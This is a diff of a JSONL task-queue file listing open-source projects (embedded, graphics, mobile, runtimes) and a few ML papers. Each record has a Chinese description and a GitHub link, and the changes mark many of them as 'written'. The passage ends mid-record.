-{"slug":"linuxcnc","area":"projects","topic":"embedded","title":"LinuxCNC","meta":{"col3":"RTLinux 实时内核上的 CNC 机床控制系统,HAL + 实时步进 + GUI 一体","col4":"2k"},"url":"https://github.com/LinuxCNC/linuxcnc","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} -{"slug":"ros2","area":"projects","topic":"embedded","title":"ROS 2","meta":{"col3":"机器人操作系统 v2,DDS 消息总线 + lifecycle + composability,工业级实时设计","col4":"4k"},"url":"https://github.com/ros2/ros2","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} -{"slug":"moveit2","area":"projects","topic":"embedded","title":"MoveIt 2","meta":{"col3":"ROS 2 上的机械臂运动规划框架,IK / 轨迹 / 碰撞检测 / RViz 一体","col4":"1.2k"},"url":"https://github.com/moveit/moveit2","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} -{"slug":"navigation2","area":"projects","topic":"embedded","title":"Nav2","meta":{"col3":"ROS 2 上的移动机器人导航栈,behavior tree + planner + controller 解耦","col4":"3.6k"},"url":"https://github.com/ros-navigation/navigation2","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} -{"slug":"gazebo-classic","area":"projects","topic":"embedded","title":"Gazebo Classic","meta":{"col3":"OSRF 的物理仿真器,URDF / SDF / 物理引擎插件,机器人仿真训练事实标准","col4":"1.4k"},"url":"https://github.com/osrf/gazebo","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} +{"slug":"openthread","area":"projects","topic":"embedded","title":"OpenThread","meta":{"col3":"Google 开源的 Thread 1.3 协议实现,IPv6 over 802.15.4 mesh 事实标准","col4":"3.7k"},"url":"https://github.com/openthread/openthread","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md","written_at":"2026-06-13T03:19:30.222Z"} +{"slug":"sdk-nrf","area":"projects","topic":"embedded","title":"Nordic Connect SDK","meta":{"col3":"Nordic nRF52/nRF53/nRF54 全家桶 SDK,BLE / Thread / Matter / 蜂窝 IoT 一体","col4":"1.7k"},"url":"https://github.com/nrfconnect/sdk-nrf","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md","written_at":"2026-06-13T03:19:32.320Z"} +{"slug":"lora-mac-node","area":"projects","topic":"embedded","title":"LoRaMac-node","meta":{"col3":"LoRa Alliance 参考实现,LoRaWAN MAC 层 + 区域参数 + Class A/B/C 完整","col4":"1.9k"},"url":"https://github.com/Lora-net/LoRaMac-node","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md","written_at":"2026-06-13T03:23:59.400Z"} +{"slug":"mosquitto","area":"projects","topic":"embedded","title":"Eclipse Mosquitto","meta":{"col3":"C 写的 MQTT broker 事实标准,~30k 行,IoT 入门 broker 首选","col4":"9.5k"},"url":"https://github.com/eclipse-mosquitto/mosquitto","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} +{"slug":"nanomq","area":"projects","topic":"embedded","title":"NanoMQ","meta":{"col3":"C 写的边缘超轻量 MQTT broker,单线程 / 100KB 二进制,运行在网关 / 容器侧","col4":"1.9k"},"url":"https://github.com/nanomq/nanomq","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} +{"slug":"tflite-micro","area":"projects","topic":"embedded","title":"TensorFlow Lite Micro","meta":{"col3":"Google 的微控制器 TF Lite runtime,~16KB ROM 跑 INT8 推理,无 OS / 无 malloc","col4":"2.5k"},"url":"https://github.com/tensorflow/tflite-micro","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md","written_at":"2026-06-13T03:35:44.700Z"} +{"slug":"esp-dl","area":"projects","topic":"embedded","title":"ESP-DL","meta":{"col3":"Espressif 的 ESP32 神经网络推理库,针对 ESP32-S3 向量指令优化","col4":"1.1k"},"url":"https://github.com/espressif/esp-dl","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md","written_at":"2026-06-13T03:38:46.321Z"} +{"slug":"cmsis-nn","area":"projects","topic":"embedded","title":"CMSIS-NN","meta":{"col3":"Arm 的 Cortex-M 神经网络算子库,SIMD/Helium 加速,TFLM 默认后端","col4":"1k"},"url":"https://github.com/ARM-software/CMSIS-NN","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md","written_at":"2026-06-13T03:41:02.271Z"} +{"slug":"ncnn","area":"projects","topic":"embedded","title":"ncnn","meta":{"col3":"腾讯开源的端侧 CPU 推理框架,无第三方依赖,ARM NEON / Vulkan 双后端","col4":"21k"},"url":"https://github.com/Tencent/ncnn","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md","written_at":"2026-06-13T03:46:04.729Z"} +{"slug":"paddle-lite","area":"projects","topic":"embedded","title":"Paddle Lite","meta":{"col3":"百度的端侧轻量推理引擎,支持 ARM CPU / GPU / NPU / FPGA,模型转换 + 运行时一体","col4":"7k"},"url":"https://github.com/PaddlePaddle/Paddle-Lite","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} +{"slug":"klipper","area":"projects","topic":"embedded","title":"Klipper","meta":{"col3":"Python + C 双进程 3D 打印固件,运动学算到主机减压主控,开源圈最先进","col4":"10k"},"url":"https://github.com/Klipper3d/klipper","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} +{"slug":"marlin","area":"projects","topic":"embedded","title":"Marlin Firmware","meta":{"col3":"8-bit / 32-bit MCU 上跑的开源 3D 打印固件,G-code 解析教科书","col4":"16k"},"url":"https://github.com/MarlinFirmware/Marlin","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md","written_at":"2026-06-13T04:01:26.277Z"} +{"slug":"grbl","area":"projects","topic":"embedded","title":"grbl","meta":{"col3":"Arduino UNO 上跑的 G-code 解释器,~30 年的 CNC 控制鼻祖,500 行运动规划核心","col4":"6.4k"},"url":"https://github.com/gnea/grbl","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md","written_at":"2026-06-13T04:06:28.446Z"} +{"slug":"linuxcnc","area":"projects","topic":"embedded","title":"LinuxCNC","meta":{"col3":"RTLinux 实时内核上的 CNC 机床控制系统,HAL + 实时步进 + GUI 一体","col4":"2k"},"url":"https://github.com/LinuxCNC/linuxcnc","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md","written_at":"2026-06-13T04:11:30.613Z"} +{"slug":"ros2","area":"projects","topic":"embedded","title":"ROS 2","meta":{"col3":"机器人操作系统 v2,DDS 消息总线 + lifecycle + composability,工业级实时设计","col4":"4k"},"url":"https://github.com/ros2/ros2","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} +{"slug":"moveit2","area":"projects","topic":"embedded","title":"MoveIt 2","meta":{"col3":"ROS 2 上的机械臂运动规划框架,IK / 轨迹 / 碰撞检测 / RViz 一体","col4":"1.2k"},"url":"https://github.com/moveit/moveit2","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md","written_at":"2026-06-13T04:20:08.777Z"} +{"slug":"navigation2","area":"projects","topic":"embedded","title":"Nav2","meta":{"col3":"ROS 2 上的移动机器人导航栈,behavior tree + planner + controller 解耦","col4":"3.6k"},"url":"https://github.com/ros-navigation/navigation2","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md","written_at":"2026-06-13T04:23:29.390Z"} +{"slug":"gazebo-classic","area":"projects","topic":"embedded","title":"Gazebo Classic","meta":{"col3":"OSRF 的物理仿真器,URDF / SDF / 物理引擎插件,机器人仿真训练事实标准","col4":"1.4k"},"url":"https://github.com/osrf/gazebo","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} {"slug":"home-assistant","area":"projects","topic":"embedded","title":"Home Assistant Core","meta":{"col3":"Python 的开源家庭自动化平台,2000+ integration,端侧 SQLite + WebSocket 架构","col4":"79k"},"url":"https://github.com/home-assistant/core","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} {"slug":"openhab","area":"projects","topic":"embedded","title":"openHAB","meta":{"col3":"Java OSGi 家庭自动化框架,bundle / binding 双层架构,欧洲社区强","col4":"3.3k"},"url":"https://github.com/openhab/openhab-core","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} {"slug":"esphome","area":"projects","topic":"embedded","title":"ESPHome","meta":{"col3":"YAML 配置生成 ESP32 / ESP8266 固件的工具链,与 Home Assistant 深度集成","col4":"9.5k"},"url":"https://github.com/esphome/esphome","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} @@ -1320,8 +1320,8 @@ {"slug":"playcanvas","area":"projects","topic":"graphics","title":"PlayCanvas — Web 3D 引擎 + 编辑器","meta":{"col3":"~10k","col4":"引擎 OSS + 在线编辑器商业,运行时极小,移动 web 游戏首选"},"url":"https://github.com/playcanvas/engine","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-graphics.md"} {"slug":"filament","area":"projects","topic":"graphics","title":"Filament — Google 跨平台 PBR 引擎","meta":{"col3":"~17k","col4":"C++ + Vulkan/Metal/WebGL,IBL 流水线参考实现,渲染论文落地教材"},"url":"https://github.com/google/filament","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-graphics.md"} {"slug":"ogre","area":"projects","topic":"graphics","title":"OGRE — 老牌 C++ 3D 渲染引擎","meta":{"col3":"~3.6k","col4":"二十年场景图渲染抽象,Torchlight / Knights 早期商业项目用过"},"url":"https://github.com/OGRECave/ogre","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-graphics.md"} -{"slug":"regl","area":"projects","topic":"graphics","title":"regl — 函数式 WebGL 封装","meta":{"col3":"~6.1k","col4":"Mikola Lysenko 出品,\"调用即绘制\"无副作用,Observable 数据可视化常用"},"url":"https://github.com/regl-project/regl","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-graphics.md"} -{"slug":"twgl","area":"projects","topic":"graphics","title":"twgl.js — 极薄 WebGL helpers","meta":{"col3":"~2k","col4":"greggman(WebGL Fundamentals 作者)出品,去样板代码不抽象掉 API"},"url":"https://github.com/greggman/twgl.js","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-graphics.md"} +{"slug":"regl","area":"projects","topic":"graphics","title":"regl — 函数式 WebGL 封装","meta":{"col3":"~6.1k","col4":"Mikola Lysenko 出品,\"调用即绘制\"无副作用,Observable 数据可视化常用"},"url":"https://github.com/regl-project/regl","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-graphics.md"} +{"slug":"twgl","area":"projects","topic":"graphics","title":"twgl.js — 极薄 WebGL helpers","meta":{"col3":"~2k","col4":"greggman(WebGL Fundamentals 作者)出品,去样板代码不抽象掉 API"},"url":"https://github.com/greggman/twgl.js","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-graphics.md"} {"slug":"picogl","area":"projects","topic":"graphics","title":"PicoGL.js — 极简 WebGL2 包装","meta":{"col3":"~1.6k","col4":"\"把 WebGL2 写成像 OpenGL\"的一千行实现,理解 GL 调用单元最佳"},"url":"https://github.com/tsherif/picogl.js","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-graphics.md"} {"slug":"luma-gl","area":"projects","topic":"graphics","title":"luma.gl — vis.gl WebGL2/WebGPU 抽象","meta":{"col3":"~3k","col4":"Uber vis.gl 团队出品,deck.gl 基座,跨 WebGL2/WebGPU 统一层"},"url":"https://github.com/visgl/luma.gl","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-graphics.md"} {"slug":"deck-gl","area":"projects","topic":"graphics","title":"deck.gl — Uber 大规模数据可视化","meta":{"col3":"~12k","col4":"千万级点 + 地理坐标 + 分层 API,把 GIS 渲染做成声明式"},"url":"https://github.com/visgl/deck.gl","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-graphics.md"} @@ -1423,9 +1423,9 @@ {"slug":"nodegui","area":"projects","topic":"mobile","title":"nodegui","meta":{"col3":"Qt 5 + Node.js 桌面框架,CSS 样式 + 原生组件(无 webview)","col4":"9k"},"url":"https://github.com/nodegui/nodegui","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-mobile.md"} {"slug":"neutralinojs","area":"projects","topic":"mobile","title":"neutralinojs","meta":{"col3":"极简轻量桌面框架,单二进制 < 2MB(系统 webview + 自家 IPC)","col4":"9k"},"url":"https://github.com/neutralinojs/neutralinojs","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-mobile.md"} {"slug":"electron-builder","area":"projects","topic":"mobile","title":"electron-builder","meta":{"col3":"Electron 打包发布事实标准(autoupdate / 签名 / 多平台 installer)","col4":"14k"},"url":"https://github.com/electron-userland/electron-builder","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-mobile.md"} -{"slug":"electron-forge","area":"projects","topic":"mobile","title":"electron-forge","meta":{"col3":"Electron 官方脚手架 + 打包工具(替代 builder 的官方答案)","col4":"7k"},"url":"https://github.com/electron/forge","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-mobile.md"} -{"slug":"flutter-rust-bridge","area":"projects","topic":"mobile","title":"flutter-rust-bridge","meta":{"col3":"Dart ↔ Rust FFI 代码生成器,让 Flutter 调 Rust 像调本地函数","col4":"5k"},"url":"https://github.com/fzyzcjy/flutter_rust_bridge","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-mobile.md"} -{"slug":"flame","area":"projects","topic":"mobile","title":"flame","meta":{"col3":"Flutter 上的 2D 游戏引擎,组件树 + ECS + 物理引擎","col4":"9k"},"url":"https://github.com/flame-engine/flame","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-mobile.md"} +{"slug":"electron-forge","area":"projects","topic":"mobile","title":"electron-forge","meta":{"col3":"Electron 官方脚手架 + 打包工具(替代 builder 的官方答案)","col4":"7k"},"url":"https://github.com/electron/forge","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-mobile.md"} +{"slug":"flutter-rust-bridge","area":"projects","topic":"mobile","title":"flutter-rust-bridge","meta":{"col3":"Dart ↔ Rust FFI 代码生成器,让 Flutter 调 Rust 像调本地函数","col4":"5k"},"url":"https://github.com/fzyzcjy/flutter_rust_bridge","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-mobile.md"} +{"slug":"flame","area":"projects","topic":"mobile","title":"flame","meta":{"col3":"Flutter 上的 2D 游戏引擎,组件树 + ECS + 物理引擎","col4":"9k"},"url":"https://github.com/flame-engine/flame","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-mobile.md"} {"slug":"flutter-quill","area":"projects","topic":"mobile","title":"flutter-quill","meta":{"col3":"Flutter 富文本编辑器,移植自 Web 的 Quill.js(Delta 格式)","col4":"3k"},"url":"https://github.com/singerdmx/flutter-quill","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-mobile.md"} {"slug":"fvm","area":"projects","topic":"mobile","title":"fvm","meta":{"col3":"Flutter 多版本管理器(类似 nvm,按项目锁 SDK 版本)","col4":"5k"},"url":"https://github.com/leoafarias/fvm","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-mobile.md"} {"slug":"flutterfire","area":"projects","topic":"mobile","title":"flutterfire","meta":{"col3":"Firebase 官方 Flutter SDK monorepo(Auth / Firestore / Cloud Messaging 全套)","col4":"9k"},"url":"https://github.com/firebase/flutterfire","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-mobile.md"} @@ -1459,7 +1459,7 @@ {"slug":"detox","area":"projects","topic":"mobile","title":"detox","meta":{"col3":"Wix 出品 RN E2E 测试框架(灰盒,能感知 RN 内部状态)","col4":"11k"},"url":"https://github.com/wix/Detox","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-mobile.md"} {"slug":"appium","area":"projects","topic":"mobile","title":"appium","meta":{"col3":"跨平台移动 UI 自动化(iOS / Android / Web,WebDriver 协议)","col4":"19k"},"url":"https://github.com/appium/appium","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-mobile.md"} {"slug":"maestro","area":"projects","topic":"mobile","title":"maestro","meta":{"col3":"Mobile.dev 出品声明式移动 E2E(YAML 写流程,自然语言级简单)","col4":"17k"},"url":"https://github.com/mobile-dev-inc/maestro","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-mobile.md"} -{"slug":"webdriverio","area":"projects","topic":"mobile","title":"webdriverio","meta":{"col3":"Node.js WebDriver 实现,桌面浏览器 + 移动 / 桌面 app 全覆盖","col4":"9k"},"url":"https://github.com/webdriverio/webdriverio","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-mobile.md"} +{"slug":"webdriverio","area":"projects","topic":"mobile","title":"webdriverio","meta":{"col3":"Node.js WebDriver 实现,桌面浏览器 + 移动 / 桌面 app 全覆盖","col4":"9k"},"url":"https://github.com/webdriverio/webdriverio","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-mobile.md"} {"slug":"workbox","area":"projects","topic":"mobile","title":"workbox","meta":{"col3":"Google 出品 PWA Service Worker 工具集(缓存策略 / 后台同步 / 推送)","col4":"12k"},"url":"https://github.com/GoogleChrome/workbox","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-mobile.md"} {"slug":"pwa-builder","area":"projects","topic":"mobile","title":"pwa-builder","meta":{"col3":"Microsoft 出品 PWA 一键打包成 iOS / Android / Windows app 的工具","col4":"3k"},"url":"https://github.com/pwa-builder/PWABuilder","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-mobile.md"} {"slug":"node-js","area":"projects","topic":"runtimes","title":"Node.js — 服务端 JS 运行时之父","meta":{"col3":"~107k","col4":"V8 + libuv 的事件循环范式定义了整个生态"},"url":"https://github.com/nodejs/node","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} @@ -1468,7 +1468,7 @@ {"slug":"quickjs","area":"projects","topic":"runtimes","title":"QuickJS — Fabrice Bellard 的小型 JS 引擎","meta":{"col3":"~10k","col4":"单文件 C 实现,ES2023 完整支持,嵌入与教学首选"},"url":"https://github.com/bellard/quickjs","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} {"slug":"hermes","area":"projects","topic":"runtimes","title":"Hermes — Facebook 的 React Native JS 引擎","meta":{"col3":"~10k","col4":"AOT 字节码 + 启动时间优化,移动端 JS 性能教科书"},"url":"https://github.com/facebook/hermes","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} {"slug":"engine262","area":"projects","topic":"runtimes","title":"engine262 — 用 JS 写的 ECMAScript 规范实现","meta":{"col3":"~2.4k","col4":"直接对照规范条款的解释器,理解 JS 语义不二之选"},"url":"https://github.com/engine262/engine262","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} -{"slug":"boa-engine","area":"projects","topic":"runtimes","title":"Boa — Rust 写的 ES 解释器","meta":{"col3":"~7.7k","col4":"嵌入 Rust 程序的轻量 JS 引擎,规范学习 + 工程实现兼顾"},"url":"https://github.com/boa-dev/boa","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} +{"slug":"boa-engine","area":"projects","topic":"runtimes","title":"Boa — Rust 写的 ES 解释器","meta":{"col3":"~7.7k","col4":"嵌入 Rust 程序的轻量 JS 引擎,规范学习 + 工程实现兼顾"},"url":"https://github.com/boa-dev/boa","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} {"slug":"llrt","area":"projects","topic":"runtimes","title":"LLRT — AWS Lambda 低延迟 JS 运行时","meta":{"col3":"~9k","col4":"QuickJS + Rust,针对 Lambda 冷启动优化(无 JIT)"},"url":"https://github.com/awslabs/llrt","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} {"slug":"v8","area":"projects","topic":"runtimes","title":"V8 — Chrome / Node 底层引擎","meta":{"col3":"~24k","col4":"行业最高水平 JS JIT(TurboFan / Sparkplug / Maglev / Ignition)"},"url":"https://github.com/v8/v8","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} {"slug":"wasmtime","area":"projects","topic":"runtimes","title":"Wasmtime — Bytecode Alliance 标准 wasm runtime","meta":{"col3":"~16k","col4":"Cranelift JIT + WASI,Rust 写的工业级 wasm 解释/编译器"},"url":"https://github.com/bytecodealliance/wasmtime","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} @@ -1487,7 +1487,7 @@ {"slug":"rustpython","area":"projects","topic":"runtimes","title":"RustPython — Rust 写的 Python 解释器","meta":{"col3":"~20k","col4":"可编译到 wasm,浏览器内跑 Python 的现实路径"},"url":"https://github.com/RustPython/RustPython","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} {"slug":"cinder","area":"projects","topic":"runtimes","title":"Cinder — Instagram 内部 CPython 分支","meta":{"col3":"~3.5k","col4":"Static Python + Strict Modules + JIT,是 3.13+ 部分特性的孵化器"},"url":"https://github.com/facebookincubator/cinder","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} {"slug":"nuitka","area":"projects","topic":"runtimes","title":"Nuitka — Python 到 C 编译器","meta":{"col3":"~13k","col4":"把 Python 源码编译成 C,链接 CPython API 生成单二进制"},"url":"https://github.com/Nuitka/Nuitka","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} -{"slug":"pyston","area":"projects","topic":"runtimes","title":"Pyston — Dropbox 起家的 Python JIT","meta":{"col3":"~2.5k","col4":"修改后的 CPython + JIT,在 Web 工作负载上 30% 加速"},"url":"https://github.com/pyston/pyston","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} +{"slug":"pyston","area":"projects","topic":"runtimes","title":"Pyston — Dropbox 起家的 Python JIT","meta":{"col3":"~2.5k","col4":"修改后的 CPython + JIT,在 Web 工作负载上 30% 加速"},"url":"https://github.com/pyston/pyston","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} {"slug":"mruby","area":"projects","topic":"runtimes","title":"mruby — 嵌入式 Ruby","meta":{"col3":"~5.5k","col4":"matz 设计的轻量 Ruby,单芯片 / 游戏脚本场景首选"},"url":"https://github.com/mruby/mruby","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} {"slug":"jruby","area":"projects","topic":"runtimes","title":"JRuby — JVM 上的 Ruby","meta":{"col3":"~3.9k","col4":"复用 JVM JIT / 线程,能调 Java 库"},"url":"https://github.com/jruby/jruby","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} {"slug":"truffleruby","area":"projects","topic":"runtimes","title":"TruffleRuby — GraalVM 上的 Ruby","meta":{"col3":"~3k","col4":"Truffle 框架的标志性实现,热点代码可达 native 性能"},"url":"https://github.com/oracle/truffleruby","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} @@ -1502,7 +1502,7 @@ {"slug":"clozure-cl","area":"projects","topic":"runtimes","title":"Clozure CL — 苹果系 Common Lisp","meta":{"col3":"~870","col4":"macOS / iOS 友好的 ANSI CL,原生编译器 + 多线程 GC"},"url":"https://github.com/Clozure/ccl","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} {"slug":"opensmalltalk-vm","area":"projects","topic":"runtimes","title":"OpenSmalltalk VM (Cog) — Cog VM 的现代继承","meta":{"col3":"~1.2k","col4":"Smalltalk-80 的活态 VM,inline cache / Polymorphic IC 鼻祖"},"url":"https://github.com/OpenSmalltalk/opensmalltalk-vm","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} {"slug":"pharo","area":"projects","topic":"runtimes","title":"Pharo — 现代 Smalltalk 环境","meta":{"col3":"~1.4k","col4":"镜像式开发 + live coding 哲学,研究纯 OO 系统的入口"},"url":"https://github.com/pharo-project/pharo","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} -{"slug":"erlang-otp","area":"projects","topic":"runtimes","title":"Erlang/OTP — BEAM 虚拟机与 actor 标准库","meta":{"col3":"~12k","col4":"抢占式调度 + 隔离堆 + supervisor,电信级容错语言根基"},"url":"https://github.com/erlang/otp","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} +{"slug":"erlang-otp","area":"projects","topic":"runtimes","title":"Erlang/OTP — BEAM 虚拟机与 actor 标准库","meta":{"col3":"~12k","col4":"抢占式调度 + 隔离堆 + supervisor,电信级容错语言根基"},"url":"https://github.com/erlang/otp","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} {"slug":"elixir","area":"projects","topic":"runtimes","title":"Elixir — BEAM 上的现代语言","meta":{"col3":"~25k","col4":"Ruby 风语法 + macro + LiveView,把 BEAM 带进现代 Web"},"url":"https://github.com/elixir-lang/elixir","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} {"slug":"gleam","area":"projects","topic":"runtimes","title":"Gleam — 静态类型 BEAM 语言","meta":{"col3":"~18k","col4":"Rust 风类型系统 + BEAM / JS 双后端,类型化 actor 范例"},"url":"https://github.com/gleam-lang/gleam","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} {"slug":"zig","area":"projects","topic":"runtimes","title":"Zig — 无隐藏控制流的 C 替代","meta":{"col3":"~38k","col4":"comptime 元编程 + 零成本抽象,自带跨平台编译 toolchain"},"url":"https://github.com/ziglang/zig","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} @@ -1510,7 +1510,7 @@ {"slug":"crystal","area":"projects","topic":"runtimes","title":"Crystal — Ruby 语法的静态类型语言","meta":{"col3":"~20k","col4":"LLVM 后端 + 类型推断 + fiber 并发,Ruby 风格的原生性能"},"url":"https://github.com/crystal-lang/crystal","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} {"slug":"nim","area":"projects","topic":"runtimes","title":"Nim — Python 风的系统语言","meta":{"col3":"~17k","col4":"编译到 C / C++ / JS,宏系统强大,零依赖单二进制"},"url":"https://github.com/nim-lang/Nim","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} {"slug":"julia","area":"projects","topic":"runtimes","title":"Julia — 数值计算专用语言","meta":{"col3":"~46k","col4":"LLVM JIT + 多分派 + 包系统,Python+C 的\"双语言问题\"答案"},"url":"https://github.com/JuliaLang/julia","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} -{"slug":"tinygo","area":"projects","topic":"runtimes","title":"TinyGo — 嵌入式 / wasm 的 Go 子集","meta":{"col3":"~16k","col4":"LLVM 后端,把 Go 跑在 ARM / RISC-V / Wasm 上"},"url":"https://github.com/tinygo-org/tinygo","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} +{"slug":"tinygo","area":"projects","topic":"runtimes","title":"TinyGo — 嵌入式 / wasm 的 Go 子集","meta":{"col3":"~16k","col4":"LLVM 后端,把 Go 跑在 ARM / RISC-V / Wasm 上"},"url":"https://github.com/tinygo-org/tinygo","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} {"slug":"goja","area":"projects","topic":"runtimes","title":"goja — 纯 Go 写的 ES5.1 解释器","meta":{"col3":"~6.5k","col4":"Go 程序嵌入 JS 脚本的标配,k6 / dnote 等都依赖"},"url":"https://github.com/dop251/goja","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} {"slug":"yaegi","area":"projects","topic":"runtimes","title":"yaegi — Traefik 的 Go 解释器","meta":{"col3":"~7.6k","col4":"在 Go 程序里热加载 Go 代码,插件系统 / REPL 应用"},"url":"https://github.com/traefik/yaegi","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} {"slug":"tokio","area":"projects","topic":"runtimes","title":"Tokio — 事实标准 Rust async runtime","meta":{"col3":"~28k","col4":"多线程 work-stealing 调度器 + epoll/kqueue 抽象"},"url":"https://github.com/tokio-rs/tokio","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} @@ -1521,498 +1521,498 @@ {"slug":"mmtk-core","area":"projects","topic":"runtimes","title":"MMTk — 通用 GC 框架","meta":{"col3":"~600","col4":"把 GC 从语言中解耦,被 OpenJDK / V8 / Julia 接入实验"},"url":"https://github.com/mmtk/mmtk-core","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} {"slug":"bdwgc","area":"projects","topic":"runtimes","title":"Boehm-Demers-Weiser GC — 经典保守式 GC","meta":{"col3":"~3.1k","col4":"不需类型信息也能用的 C/C++ GC 库,GCC / Mono 等历史依赖"},"url":"https://github.com/ivmai/bdwgc","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} {"slug":"mimalloc","area":"projects","topic":"runtimes","title":"mimalloc — Microsoft 的小对象分配器","meta":{"col3":"~10k","col4":"分片堆 + free list sharding,多线程基准超越 jemalloc / tcmalloc"},"url":"https://github.com/microsoft/mimalloc","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"} -{"slug":"kv-fold","area":"papers","topic":"machine-learning","title":"KV-Fold: One-Step KV-Cache Recurrence for Long-Context Inference","meta":{"col3":"2026","col4":"Training-free long-context inference: treats KV cache as fold accumulator across recurrence steps. High priority for vLLM lens."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"vericache","area":"papers","topic":"machine-learning","title":"VeriCache: Turning Lossy KV Cache into Lossless LLM Inference","meta":{"col3":"2026","col4":"Speculative-decoding twist: drafts with compressed KV, verifies against full KV. High priority for vLLM lens."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} -{"slug":"oscar-int2-kv","area":"papers","topic":"machine-learning","title":"OSCAR: Offline Spectral Covariance-Aware Rotation for 2-bit KV Cache Quantization","meta":{"col3":"2026","col4":"INT2 KV quant integrated into vLLM/SGLang via custom kernel; covariance-aware rotation. High priority direct vLLM 